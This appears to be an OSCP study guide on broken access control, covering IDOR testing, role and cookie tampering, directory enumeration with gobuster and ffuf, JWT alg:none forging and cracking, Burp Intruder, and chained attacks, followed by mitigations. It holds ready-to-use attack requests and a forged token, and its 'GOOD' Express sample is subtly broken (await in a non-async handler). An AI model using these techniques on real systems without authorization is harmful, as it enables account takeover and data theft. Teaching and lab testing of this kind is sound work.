Broken Access Control
OWASP Top 10 2021 — A01: Broken Access Control — Ranked #1 for the first time in 2021, surpassing Injection. This reflects the growing prevalence of API-driven architectures and the fundamental nature of access control failures across all application types.
Broken Access Control occurs when restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these weaknesses to access functionality or data beyond their intended permissions — viewing other users’ accounts, modifying someone else’s orders, accessing administrative interfaces, or escalating privileges to gain full system control.
This is arguably the most frequently tested web vulnerability on the OSCP exam because it appears in nearly every web-based machine (DVWA, bWAPP, Mutillidae, Juice Shop, HackTheBox web challenges, and custom OSCP labs).
Table of Contents
- Access Control Fundamentals
- Insecure Direct Object Reference (IDOR)
- Privilege Escalation via Parameter Tampering
- Forced Browsing and Directory Enumeration
- API-Specific Access Control Issues
- Burp Suite Techniques for Access Control Testing
- Combining Access Control Flaws with Other Vulnerabilities
- OSCP Exam Scenarios and Patterns
- Mitigation Strategies
1. Access Control Fundamentals
Access control is the mechanism that determines who can access what resources, and how they can interact with them. A broken access control means the application fails to properly enforce these restrictions.
Access Control Types
| Type | Description | Real-World Example | OSCP Frequency |
|---|---|---|---|
| Horizontal | A user accesses resources at the same privilege level that belong to another user | User A (ID=1001) views User B’s (ID=1002) profile by changing the URL parameter | Very High |
| Vertical | A low-privilege user accesses resources or functions reserved for higher-privilege users | A regular user accesses the /admin/dashboard endpoint or modifies their role parameter to admin |
Very High |
| RESTful / Function-Level | Manipulating resource identifiers or HTTP methods in REST API endpoints to access unauthorized operations | Changing GET /api/users/1 to DELETE /api/users/1, or accessing /api/users/2 while logged in as user 1 |
High |
| Object-Level | Bypassing checks on specific objects, including accessing deleted, archived, or inactive records | Accessing order #5000 which was marked as “deleted” but still exists in the database | Medium |
Why Access Control Fails
The root causes of broken access control typically fall into these categories:
- Missing authorization checks — The endpoint performs authentication (verifying who you are) but not authorization (verifying what you’re allowed to do).
- Client-side enforcement only — Permissions are checked in JavaScript or UI logic, but the server API has no corresponding check.
- Inconsistent enforcement — Some endpoints check permissions while others in the same module do not.
- Over-trusting user-supplied data — The application uses
user_id,role, orpermissionvalues directly from request parameters without server-side validation. - Improper URL design — Predictable resource identifiers (sequential integers) make enumeration trivial.
2. Insecure Direct Object Reference (IDOR)
IDOR is the most common manifestation of broken access control. It occurs when an application exposes internal implementation objects (database records, file names, keys) directly to the user through URLs, form parameters, or API requests — without verifying that the requesting user is authorized to access that specific object.
IDOR Discovery Methodology
Step 1: Map All Endpoints with Identifiable Parameters
Use Burp Suite’s Site Map or intercept all traffic during normal application usage. Look for any parameter that references a resource by ID:
GET /profile?id=1001 → User profile
GET /api/orders/1001 → Order details
GET /invoices/download?invoice_id=5001 → Invoice download
POST /api/messages → {"to_user": 1002, "body": "Hello"}
PUT /api/users/1001/password → Password change
DELETE /api/posts/3001 → Delete post
Step 2: Classify the ID Type
| ID Type | Characteristics | Enumeration Difficulty | Example |
|---|---|---|---|
| Sequential integers | 1, 2, 3, 4… | Trivial — brute force | /users/1001 |
| UUIDs / GUIDs | 550e8400-e29b-41d4-a716-446655440000 |
Harder — need to discover valid UUIDs first | /users/550e8400-... |
| Hash-based | a1b2c3d4e5f6 |
Medium — may be reversible or predictable | /users/a1b2c3d4e5f6 |
| Base64-encoded | MTAwMQ== (decodes to 1001) |
Easy — decode and increment | /users/MTAwMQ== |
| Object IDs (MongoDB) | 507f1f77bcf86cd799439011 |
Medium — timestamp-based, partially predictable | /users/507f1f77... |
Step 3: Test with Alternative IDs
Change the identifier to a different value and observe the response:
# Original request (logged in as user 1001)
GET /api/users/1001/profile HTTP/1.1
Host: target.com
Cookie: session=abc123
# Test 1: Sequential increment
GET /api/users/1002/profile HTTP/1.1
Host: target.com
Cookie: session=abc123
# Test 2: Common admin ID
GET /api/users/1/profile HTTP/1.1
Host: target.com
Cookie: session=abc123
# Test 3: Boundary values
GET /api/users/0/profile HTTP/1.1
GET /api/users/-1/profile HTTP/1.1
GET /api/users/99999/profile HTTP/1.1
Step 4: Analyze Response Differences
| Response | Meaning | Action |
|---|---|---|
| 200 OK with different user’s data | Confirmed IDOR — full data exposure | Document and exploit |
| 200 OK with your own data | Application resolves to your session — not IDOR on this endpoint | Move to next endpoint |
| 403 Forbidden | Authorization check exists — protected | Try bypass techniques |
| 404 Not Found | ID doesn’t exist or access denied via 404 | Try other IDs |
| 500 Internal Server Error | Possible IDOR with error handling issues | May reveal DB structure |
Step 5: Test All HTTP Methods
IDOR is not limited to GET requests. Test every method on every endpoint:
# POST — Create resource for another user
POST /api/users/1002/orders HTTP/1.1
Content-Type: application/json
{"item": "laptop", "quantity": 1}
# PUT — Modify another user's resource
PUT /api/users/1002/profile HTTP/1.1
Content-Type: application/json
{"email": "attacker@evil.com", "phone": "1234567890"}
# PATCH — Partially modify another user's resource
PATCH /api/users/1002/profile HTTP/1.1
Content-Type: application/json
{"password": "hacked123"}
# DELETE — Delete another user's resource
DELETE /api/users/1002/posts/5001 HTTP/1.1
Real IDOR Example: Complete Exploitation Walkthrough
Scenario: You are testing an e-commerce application. You have a low-privilege account (user ID: 42).
Phase 1: Reconnaissance
────────────────────────
1. Log in and browse the application
2. Capture all requests in Burp Suite
3. Identify endpoints with user-specific IDs:
- GET /api/orders/{id}
- GET /api/users/{id}/address
- POST /api/orders/{id}/cancel
- GET /api/invoices/{id}/download
Phase 2: IDOR Testing
────────────────────────
1. Send GET /api/orders/42 to Repeater
2. Forward — get your own order data
3. Change to GET /api/orders/41 — Forward
→ 200 OK with order data for user 41 (different name, address)
→ CONFIRMED IDOR
4. Change to GET /api/orders/1 — Forward
→ 200 OK with order data for user 1 (admin account)
→ Contains credit card numbers, shipping addresses
Phase 3: Exploitation
────────────────────────
1. Use Intruder to brute-force order IDs 1-1000
→ 847 valid orders found
→ Export all data to CSV
2. Test POST /api/orders/1/cancel
→ 200 OK — order cancelled successfully
→ You can cancel other users' orders (business impact)
3. Test GET /api/invoices/1/download
→ PDF invoice downloaded with full PII
Automated IDOR Detection with Burp Intruder
- Send request to Intruder
- Set Position marker on the ID parameter:
$id$ - Set attack type to Sniper
- Load payload set:
- Sequential numbers:
1to1000(Numbers payload type) - Or a custom list of known IDs
- Sequential numbers:
- Start attack and sort by Length or Status Code
- Look for responses that return 200 OK with varying content lengths (indicating different user data)
3. Privilege Escalation via Parameter Tampering
Privilege escalation through parameter tampering exploits the application’s trust in user-supplied values that determine access levels. This is the vertical access control variant.
Common Tamperable Parameters
URL Path Parameters
# Legitimate user accessing their own page
GET /dashboard/user HTTP/1.1
# Attempt to access admin dashboard
GET /dashboard/admin HTTP/1.1
→ 200 OK with admin panel (if no server-side check)
# Other common path variations
GET /admin/
GET /admin/dashboard
GET /administrator/
GET /superadmin/
GET /root/
GET /moderator/
Query Parameters
# Role manipulation
GET /profile?role=user HTTP/1.1
→ Change to:
GET /profile?role=admin HTTP/1.1
# Boolean flags
GET /settings?is_admin=false HTTP/1.1
→ Change to:
GET /settings?is_admin=true HTTP/1.1
# Numeric privilege levels
GET /api/data?level=1 HTTP/1.1
→ Change to:
GET /api/data?level=99 HTTP/1.1
GET /api/data?level=-1 HTTP/1.1
POST Body Parameters (JSON)
// Legitimate registration
{
"username": "testuser",
"email": "test@example.com",
"password": "password123",
"role": "user"
}
// Tampered registration — attempt admin creation
{
"username": "testuser",
"email": "test@example.com",
"password": "password123",
"role": "admin",
"is_admin": true,
"permissions": ["read", "write", "delete", "manage_users"],
"account_type": "premium"
}
POST Body Parameters (Form-Encoded)
username=testuser&email=test@example.com&password=pass123&role=user
→ Change to:
username=testuser&email=test@example.com&password=pass123&role=admin
Cookie Manipulation
# Original cookies
Cookie: session=abc123; role=user; privilege=0
# Tampered cookies
Cookie: session=abc123; role=admin; privilege=99
Cookie: session=abc123; role=user; is_admin=true
Cookie: session=abc123; user_type=administrator
Hidden Form Fields
When submitting forms, inspect the HTML for hidden inputs:
<!-- Original form -->
<form action="/update-profile" method="POST">
<input type="hidden" name="user_id" value="1001" />
<input type="hidden" name="role" value="user" />
<input type="text" name="name" value="John" />
</form>
<!-- Tampered via Burp — change role and user_id -->
user_id=1&role=admin&name=John
Systematic Parameter Tampering Checklist
| Parameter Location | What to Look For | What to Change |
|---|---|---|
| URL path | /user/, /admin/, /api/v1/ |
Change segment to admin/root/super |
| Query string | role=, id=, user=, type= |
Set to admin, 1, true, super |
| POST body (JSON) | role, isAdmin, permissions |
Add/modify privilege fields |
| POST body (form) | Hidden inputs with role/ID | Modify values before forwarding |
| Cookies | role, user_type, privilege |
Set to admin-level values |
| Headers | X-Role, X-User-ID, X-Forwarded-User |
Inject admin values |
| PUT/PATCH body | Any privilege-related field | Escalate values |
OSCP-Relevant Example: DVWA Access Control
In DVWA’s Access Control module (Low/Medium security):
# You are logged in as "admin" with cookie:
Cookie: security=low; PHPSESSID=abc123
# The logout link is:
GET /vulnerabilities/access/?logout=1 HTTP/1.1
# The source reveals admin cookie:
Cookie: admin=1
# Simply add this cookie to gain admin access on other modules
Cookie: security=low; PHPSESSID=abc123; admin=1
4. Forced Browsing and Directory Enumeration
Forced browsing (also called directory traversal via guessing) exploits the assumption that users will only access pages they are directed to through links or navigation menus. If a resource exists but is not linked, it may still be accessible if no authentication or authorization is enforced.
Common Forced Browsing Targets
Administrative Interfaces
/admin/
/admin/login
/admin/dashboard
/administrator/
/wp-admin/
/wp-login.php
/admin.php
/manage/
/manager/
/console/
/cpanel/
/webmail/
Development and Debug Resources
/debug/
/test/
/tests/
/tmp/
/temp/
/.env
/config/
/config.php
/config.yml
/config.json
/database.yml
/settings.py
Version Control and Backup Files
/.git/
/.git/config
/.git/HEAD
/.svn/
/.hg/
/backup/
/backups/
/old/
/archive/
/site.sql
/database.sql
/backup.zip
/backup.tar.gz
/dump.sql
API and Documentation Endpoints
/api/
/api/v1/
/api/v2/
/api-docs/
/swagger-ui/
/swagger.json
/openapi.json
/graphql
/graphiql
/actuator/
/actuator/health
/actuator/env
/actuator/beans
Sensitive Files
/web.config
/.htaccess
/.htpasswd
/server-status
/server-info
/phpinfo.php
/info.php
/test.php
/phpmyadmin/
/pma/
/xmlrpc.php
/wp-config.php.bak
Directory Enumeration Tools
Gobuster (Recommended for OSCP)
# Directory enumeration with common wordlist
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
# With specific extensions
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,backup,sql,zip -t 50
# Recursive enumeration (deeper but slower)
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -r -t 50
# With authentication cookie
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -c "PHPSESSID=abc123; admin=1"
ffuf (Fast and Flexible)
# Basic directory enumeration
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
# With extensions
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.txt,.bak
# Filter by response size (find unique responses)
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404
# With authentication
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -H "Cookie: session=abc123"
Dirsearch
# Comprehensive scan
python3 dirsearch.py -u http://target.com -e php,html,js,txt,sql,zip,bak,conf,cfg,ini,log,env
# With thread count and delay
python3 dirsearch.py -u http://target.com -e php,html,js -t 30 --delay 0.5
Wordlists for Enumeration
| Wordlist | Location | Best For |
|---|---|---|
dirb/common.txt |
/usr/share/wordlists/dirb/ |
Quick common directories |
dirb/big.txt |
/usr/share/wordlists/dirb/ |
Thorough directory scan |
dirbuster/directory-list-2.3-medium.txt |
/usr/share/wordlists/dirbuster/ |
Medium-sized comprehensive list |
SecLists/Discovery/Web-Content/ |
Download from GitHub | Categorized, extensive lists |
| Custom wordlist | Create from app context | Application-specific terms |
Forced Browsing in OSCP Labs
In OSCP machines, forced browsing commonly reveals:
- Backup files —
config.php.bak,database.sql,site.zipcontaining source code or credentials - Debug pages —
/debug,/testwith verbose error output or developer tools - Admin panels —
/adminaccessible without authentication - API documentation —
/swagger-uior/api-docsrevealing undocumented endpoints - Git repositories —
/.git/exposing full source code history - Upload directories —
/uploads/with directory listing enabled
5. API-Specific Access Control Issues
Modern applications increasingly use RESTful APIs and JWT-based authentication, introducing unique access control attack surfaces.
JWT (JSON Web Token) Manipulation
JWTs are commonly used for stateless authentication. They consist of three parts: Header.Payload.Signature, each Base64Url-encoded.
JWT Structure
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1001", "name": "John", "role": "user", "iat": 1690000000}
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
JWT Attack Techniques
| Attack | Description | How to Test |
|---|---|---|
| Algorithm None | Change alg to none to skip signature verification |
Modify header to {"alg":"none","typ":"JWT"}, remove signature |
| Algorithm Confusion | Change alg from RS256 to HS256 and sign with the public key |
Extract public key, sign payload with HS256 using the public key as secret |
| Weak Secret | Brute-force a weak signing secret | Use jwtcrack tool against the token |
| Payload Modification | Change claims like role, sub, admin |
Decode payload, modify claims, re-sign (if you have the secret) |
| Kid Header Injection | Manipulate the kid (Key ID) header to point to a predictable key |
Set "kid": "/etc/passwd" or "kid": "admin_key" |
JWT None Algorithm Attack
// Original token header: {"alg": "HS256", "typ": "JWT"}
// Modified header: {"alg": "none", "typ": "JWT"}
// Base64Url encode modified header:
// eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
// Modified payload (escalate role):
// {"sub":"1001","name":"John","role":"admin","iat":1690000000}
// eyJzdWIiOiIxMDAxIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2OTAwMDAwMDB9
// Final token (no signature):
// eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMDAxIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2OTAwMDAwMDB9.
JWT Cracking with jwtcrack
# Install
npm install -g jwtcrack
# Crack weak secret
jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAxIiwicm9sZSI6InVzZXIifQ.signature
# With custom wordlist
jwtcrack eyJhbGci... -w /path/to/wordlist.txt
API Endpoint Discovery
APIs often expose endpoints not visible in the UI. Discovery techniques:
-
JavaScript file analysis — Search
.jsfiles for API endpoint patterns:grep -oE '"[^"]*api[^"]*"' app.js grep -oE '/api/[^"]*' bundle.js -
Swagger/OpenAPI documentation — Check
/swagger.json,/openapi.json,/api-docs/ -
Burp Suite Site Map — Review all intercepted API calls
-
GraphQL introspection — If GraphQL is available:
{ __schema { types { name fields { name } } } } -
Common API patterns — Try standard REST patterns:
/api/v1/users /api/v1/users/{id} /api/v1/admin/users /api/internal/health /api/graphql
BOLA/BOPLA (Broken Object Level Authorization / Property Level Authorization)
OWASP API Security Top 10 designations for API-specific access control failures:
- BOLA (API1:2023) — Same as IDOR but in API context. The API does not verify that the authenticated user has access to the requested object.
- BOPLA (API2:2023) — The API does not verify that the authenticated user has permission to modify the properties of the requested object.
Test both by:
- Authenticating as User A
- Making API calls targeting User B’s resources
- Testing both read (GET) and write (POST/PUT/PATCH/DELETE) operations
6. Burp Suite Techniques for Access Control Testing
Technique 1: Context Comparison (Auth Matrix Testing)
The most reliable way to test access control is to compare responses across different authentication contexts:
- Capture requests as User A (low privilege)
- Send to Repeater
- Open a second Repeater tab
- Replace the session cookie with User B’s (different privilege level)
- Send both requests and compare responses
If the same request returns different data or succeeds/fails differently based on the session, you’ve identified an access control issue.
Technique 2: Intruder for IDOR Enumeration
1. Send request with ID parameter to Intruder
2. Set § markers: /api/users/§1001§/profile
3. Attack type: Sniper
4. Payload type: Numbers
- From: 1
- To: 1000
- Step: 1
5. Start attack
6. Sort by: Length (look for consistent non-404 responses)
7. Click on promising results to inspect response body
Technique 3: Match and Replace for Cross-Session Testing
Set up Match and Replace rules in Project Options:
Rule 1: Replace User A's session with User B's
Match: Cookie: session=USER_A_SESSION
Replace: Cookie: session=USER_B_SESSION
Rule 2: Replace User B's session with User A's
Match: Cookie: session=USER_B_SESSION
Replace: Cookie: session=USER_A_SESSION
This allows you to replay any captured request under a different user’s session automatically.
Technique 4: Compare Function
- Send two requests (same endpoint, different sessions) to Repeater
- Right-click the response → Comparison → Compare with…
- Select the other response
- Burp highlights differences — look for data that should not be accessible
Technique 5: Engagement Tools
Right-click any request → Engagement tools → Insert DOM break point or Make API call to test authorization on discovered endpoints.
Technique 6: Scanner Active Scan with Custom Scope
- Set precise scope to the target application
- Right-click request → Do active scan
- Review issues under Access Control category
- Note: Burp’s scanner may miss logic-based access control flaws — manual testing is essential
7. Combining Access Control Flaws with Other Vulnerabilities
Access control vulnerabilities rarely exist in isolation. Combining them with other flaws dramatically increases impact.
Access Control + SQL Injection
1. Discover IDOR on /api/users/{id}/profile
2. Try SQL injection on the ID parameter:
GET /api/users/1' OR '1'='1/profile
3. If successful, dump entire user table
4. Extract admin credentials → vertical privilege escalation
Access Control + XSS
1. Discover stored XSS on user profile page
2. Use IDOR to access admin's profile page
3. Admin triggers XSS → you steal admin's session cookie
4. Use stolen cookie → full admin access
Access Control + File Inclusion
1. Discover LFI on /page?file=about
2. Use forced browsing to find /admin/config.php
3. Include via LFI: /page?file=../../admin/config.php
4. Read database credentials → escalate access
Access Control + Authentication Bypass
1. Discover JWT with weak secret via jwtcrack
2. Forge JWT with role=admin
3. Access admin endpoints → full system control
Access Control + SSRF
1. Discover SSRF on /fetch?url=
2. Use to access internal admin panel: /fetch?url=http://127.0.0.1:8080/admin
3. Admin panel has no IP restriction → access internal functionality
Chained Attack Example (OSCP-Style)
Machine: Web application with user registration
Step 1: Register as normal user → get account (user_id=42)
Step 2: Discover IDOR on /api/users/{id} → enumerate all users
Step 3: Find admin user (user_id=1) with email admin@target.com
Step 4: Discover password reset functionality
Step 5: Use IDOR on password reset: change target user_id to 1
Step 6: Reset admin password → log in as admin
Step 7: Access admin panel → find file upload functionality
Step 8: Upload web shell → reverse shell → full system compromise
8. OSCP Exam Scenarios and Patterns
Pattern 1: DVWA-Style Cookie Manipulation
Frequency: Very High
In DVWA and similar labs, the access control vulnerability often involves a simple cookie flag:
1. Log in as a regular user
2. Browse to /vulnerabilities/access/
3. View page source or check Burp history
4. Find reference to: setcookie("admin", "1", time()+3600)
5. Add Cookie: admin=1 to your requests
6. Access restricted functionality
Pattern 2: IDOR Leading to Credential Harvesting
Frequency: High
1. Register two accounts (User A and User B)
2. As User A, find endpoint with user-specific ID
3. Change ID to User B's ID → confirm IDOR
4. Enumerate IDs 1-100 to find all users
5. Look for admin accounts (ID=1 is common)
6. Access admin data → find credentials, API keys, or SSH keys
Pattern 3: Admin Panel via Forced Browsing
Frequency: High
1. Run gobuster/ffuf against the target
2. Discover /admin, /phpmyadmin, or /manager
3. Admin panel may be:
a. Unprotected → direct access
b. Protected with default credentials → try admin/admin
c. Protected but accessible via cookie manipulation
4. From admin panel → upload shell, execute commands, or access database
Pattern 4: Role Parameter in Registration/Profile Update
Frequency: Medium
1. Register a new account via POST /api/register
2. Capture request in Burp
3. Add "role": "admin" to the JSON body
4. Forward → check if account is created with admin privileges
5. If not, try POST /api/profile/update with role change
Pattern 5: Multi-Step Access Control Chain
Frequency: Medium (but very rewarding)
1. Low-privilege account → IDOR on file download endpoint
2. Download another user's file → find internal API endpoint
3. Access internal API → discover admin functionality
4. Use parameter tampering on admin API → escalate to full admin
5. Admin panel → command execution or file upload → shell
OSCP Tips for Access Control Testing
| Tip | Description |
|---|---|
| Always test with two accounts | Register two users to compare access levels and test IDOR |
| Check every parameter | Every ID, role, user_id, and flag in every request is a potential target |
| View page source | Hidden comments, JavaScript variables, and disabled UI elements often reveal admin paths |
| Try ID=1 | The first ID is almost always the admin or superuser account |
| Check all HTTP methods | An endpoint might be safe for GET but vulnerable to PUT/DELETE |
| Follow the data flow | If you find sensitive data via IDOR, check if you can also modify or delete it |
| Document everything | Access control findings are critical for your exam report |
| Check JavaScript files | API endpoints, admin routes, and internal URLs are often hardcoded in JS |
9. Mitigation Strategies
Defense-in-Depth for Access Control
| Layer | Control | Implementation Example |
|---|---|---|
| Architecture | Deny by default | All endpoints return 403 unless explicitly authorized |
| Framework | Centralized authorization middleware | Single middleware checks permissions on every request |
| Data Model | Session-bound resource access | Query: SELECT * FROM orders WHERE user_id = session.user_id |
| API Design | Indirect references | Use opaque tokens instead of direct database IDs |
| Monitoring | Access logging and alerting | Log all 403 responses; alert on unusual access patterns |
Code-Level Mitigations
Proper Authorization Check (Node.js/Express Example)
// BAD — No authorization check
app.get('/api/users/:id/profile', (req, res) => {
const profile = await getUserProfile(req.params.id);
res.json(profile);
});
// GOOD — Server-side authorization check
app.get('/api/users/:id/profile', authenticate, (req, res) => {
// Only allow users to access their own profile,
// or admins to access any profile
if (req.params.id !== req.session.userId && req.session.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const profile = await getUserProfile(req.params.id);
res.json(profile);
});
Using Indirect Object References
# Instead of exposing database IDs directly:
# BAD: /api/orders/12345
# GOOD: /api/orders/aBcDeFgHiJ (opaque token mapped to real ID server-side)
token_to_order = {
"aBcDeFgHiJ": {"order_id": 12345, "user_id": 1001},
"KlMnOpQrSt": {"order_id": 12346, "user_id": 1002},
}
def get_order(token, current_user_id):
mapping = token_to_order.get(token)
if not mapping:
raise NotFound("Order not found")
if mapping["user_id"] != current_user_id:
raise Forbidden("Access denied")
return get_order_by_id(mapping["order_id"])
OWASP Access Control Guidelines
- Deny by Default — Unless explicitly authorized, all requests should be denied.
- Implement Access Control Mechanisms Once — Use centralized frameworks/middleware rather than ad-hoc checks.
- Enforce Authorization on the Server Side — Never trust client-side checks.
- Unique Business Logic Functions Should Have Their Own Access Controls — Don’t assume one check covers all cases.
- Restrict Access to Functionalities by Default — New features should be restricted until explicitly opened.
- Use Existing Solutions — Leverage proven frameworks (Spring Security, CASL, etc.).
Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ BROKEN ACCESS CONTROL — QUICK CHECKLIST │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. REGISTER TWO ACCOUNTS (different privilege levels) │
│ 2. MAP ALL ENDPOINTS with IDs, roles, or user references │
│ 3. TEST IDOR: Change IDs to 1, 2, 0, -1, other user's ID │
│ 4. TEST ALL HTTP METHODS on each endpoint (GET/POST/PUT/DEL) │
│ 5. TAMPER PARAMETERS: role, is_admin, user_id, permission │
│ 6. CHECK COOKIES for role/privilege flags │
│ 7. ENUMERATE DIRECTORIES: gobuster/ffuf with common wordlists │
│ 8. CHECK JS FILES for hidden API endpoints and admin routes │
│ 9. TEST JWT: alg:none, weak secret, payload modification │
│ 10. VIEW PAGE SOURCE for comments, disabled links, hidden data │
│ 11. COMBINE with SQLi, XSS, LFI for chained attacks │
│ 12. DOCUMENT ALL findings for exam report │
│ │
└─────────────────────────────────────────────────────────────────┘
References and Further Reading
- OWASP Access Control Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html
- OWASP API Security Top 10 (2023): https://owasp.org/API-Security/editions/2023/en/
- PortSwigger Web Security Academy — Access Control: https://portswigger.net/web-security/access-control
- JWT.io — JSON Web Token attacks: https://jwt.io/introduction
- OWASP Testing Guide v4 — OTG-AUTHZ: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/